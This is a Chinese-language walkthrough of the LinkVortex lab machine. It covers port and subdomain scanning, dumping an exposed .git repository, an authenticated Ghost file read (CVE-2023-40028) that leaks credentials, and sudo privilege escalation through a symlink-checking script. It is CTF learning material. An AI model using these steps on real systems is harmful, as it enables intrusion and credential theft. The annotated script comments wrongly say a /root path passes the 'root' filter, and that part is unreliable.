开放 22 和 80 端口,重点关注 80 端口的 Web 服务。由 nmap 扫描结果可知,该端口绑定了域名 linkvortex.htb。
sudo nmap 10.10.11.47 -p- -A --min-rate=3000
修改 /etc/hosts 文件,绑定该域名。
可以很明显的看出使用了一个叫 Ghost 的 CMS,版本是 5.58。
网上查询历史漏洞,找到 CVE-2023-40028。这是一个任意文件读取漏洞,版本能对应的上,该漏洞的利用需要凭证,暂时先放一边看后续能否用上。
尝试下爆破目录,发现 robots.txt 和 sitemap.xml 两个比较敏感的文件。
dirsearch -u http://linkvortex.htb/ -x 404
访问目录,各个页面都访问一下,没发现可以利用的地方,登录界面尝试了下弱口令,也没能成功。
爆破下子域名,发现 deb.linkvortex.htb。
ffuf -u 'http://linkvortex.htb' -H 'host:FUZZ.linkvortex.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 230 -t 100
看样子也是一个网站,进行目录爆破,看来是 .git 泄露了源码。
dirsearch -u http://dev.linkvortex.htb/ -x 404
把源码下载到本地,这里看到有 Dockerfile.ghost 文件,这应该是通过 docker 部署的应用。
git-dumper http://dev.linkvortex.htb/.git website/
在项目中找 ‘password’ 字段,尝试去获取密码。
grep -rinI --exclude-dir={.git,node_modules,vendor,build,dist,target,out} "password" .
找到了几个有可能的密码,都暂时保存起来。
用之前找到的 EXP 利用,网页上的信息已经显示有一个用户叫 admin,邮箱就试试 admin@linkvortex.htb,成功利用,密码是 OctopiFociPilfer45。
需要注意的是,这个系统在 docker 里面,读取到的也是 docker 容器中的文件,那么/etc/passwd 中显示出的用户名和宿主机大概率是不一样的。
接下来就是想去尝试读取一些敏感文件,要明确的是这是在 docker 容器里面,读取 ssh 密钥类似的利用方式显然不行,查看一下 Dockerfile.ghost 这个构建 docker 镜像的文件里有啥。
发现将 config.production.json 这个配置文件拷贝到了容器里面,这是 ghost cms 的核心配置文件,尝试读取。发现凭证 bob@linkvortex.htb:fibber-talented-worth。
尝试 ssh 登录成功,顺手查看 sudo 提权的可能性。发现可以 sudo 运行一个 shell 脚本,参数是多个普通文件。重点关注 env_keep+=CHECK_CONTENT,这意味着当 bob 使用 sudo 运行该命令时,他自己环境中的 CHECK_CONTENT 变量的值会被保留并传递给以 root 身份运行的脚本。
查看脚本内容,shell 脚本不熟悉的可以用 ai 写一下注释。
#!/bin/bash
# 定义隔离区目录变量
QUAR_DIR="/var/quarantined"
# 检查环境变量 CHECK_CONTENT 是否为空
# 如果为空 (bob 运行 sudo 时没有设置它),则将其设置为 false
# 如果 bob 运行 sudo 前设置了 CHECK_CONTENT (例如 export CHECK_CONTENT=true),
# 则这里不会执行,CHECK_CONTENT 会保留 bob 设置的值。
# 这是利用点 1:bob 可以控制 CHECK_CONTENT 的值。
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
# 获取脚本的第一个参数,赋值给 LINK 变量
# 关键缺陷 1:脚本只处理第一个参数 ($1)。即使 sudo 规则用了 *.png,
# 如果 bob 创建了 a.png b.png,运行 sudo ... *.png,
# 脚本也只会处理 a.png (或者 shell 展开后的第一个文件名)。
LINK=$1
# 检查第一个参数 ($LINK) 是否以 .png 结尾
# 如果不是,打印错误信息并退出
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
# 使用 sudo (以 root 权限) 检查 $LINK 是否是一个符号链接 (symbolic link)
# 这是脚本内部再次调用 sudo,因为脚本本身就是通过 sudo 运行的,所以这里实际是以 root 权限执行 test 命令。
if /usr/bin/sudo /usr/bin/test -L $LINK;then
# 如果 $LINK 是一个符号链接,则继续执行以下代码
# 获取 $LINK 的基本名称 (去掉路径)
LINK_NAME=$(/usr/bin/basename $LINK)
# 读取 $LINK 指向的目标路径
LINK_TARGET=$(/usr/bin/readlink $LINK)
# 检查链接目标路径 ($LINK_TARGET) 是否包含 'etc' 或 'root' 字符串
# 这是试图防止通过符号链接访问敏感目录
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
# 如果目标包含 'etc' 或 'root'
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
# 以 root 权限删除这个符号链接 ($LINK)
# 潜在利用点 2:如果 bob 创建一个名为 evil.png 的符号链接指向 /etc/passwd,
# 运行脚本会导致这个 evil.png 被 root 删除 (任意符号链接删除漏洞)。
/usr/bin/unlink $LINK
else
# 如果目标不包含 'etc' 或 'root'
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
# 以 root 权限将这个符号链接 ($LINK) 移动到隔离区目录 ($QUAR_DIR)
# 潜在利用点 3:可以将 bob 创建的、指向非 etc/root 文件的符号链接移动到 /var/quarantined/
/usr/bin/mv $LINK $QUAR_DIR/
# 检查 $CHECK_CONTENT 的值。如前所述,bob 可以控制这个值。
# 如果 bob 运行 sudo 前设置了 CHECK_CONTENT=true (或其他非空值),则 $CHECK_CONTENT 为 true。
if $CHECK_CONTENT;then
# 如果 $CHECK_CONTENT 为 true
/usr/bin/echo "Content:"
# 以 root 权限使用 cat 命令读取隔离区中的文件内容。
# $QUAR_DIR/$LINK_NAME 是刚刚被移动过来的符号链接。
# cat 默认会跟随符号链接读取目标文件的内容。
# 关键缺陷/提权点 2:
# 1. bob 创建一个符号链接,例如 ln -s /root/.ssh/id_rsa /tmp/key.png
# 2. /root/.ssh/id_rsa 这个目标路径不包含 'etc' 或 'root',可以通过上面的检查。
# 3. bob 运行 CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/key.png
# 4. 脚本会移动 /tmp/key.png 到 /var/quarantined/key.png
# 5. 因为 CHECK_CONTENT=true,脚本会执行 cat /var/quarantined/key.png
# 6. cat 跟随符号链接,读取 /root/.ssh/id_rsa 的内容,并将其打印到 bob 的终端。
# 7. bob 获得了 root 的私钥,成功提权!
# 同样可以用来读取其他不含 'etc' 或 'root' 路径的敏感文件。
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null # 2>/dev/null 隐藏了 cat 可能产生的错误信息
fi
fi
fi
下面这一行是关键,绕过前面的限制,执行这一行,它会把 bob CHECK_CONTENT 中的变量当做命令执行。绕过条件有:
- 处理的文件必须以.png 结尾。
- 该文件必须有符号链接。
- 该符号链接不能包括 etc、root 关键词。
明确上述提权流程,进行提权,成功获得 root 权限。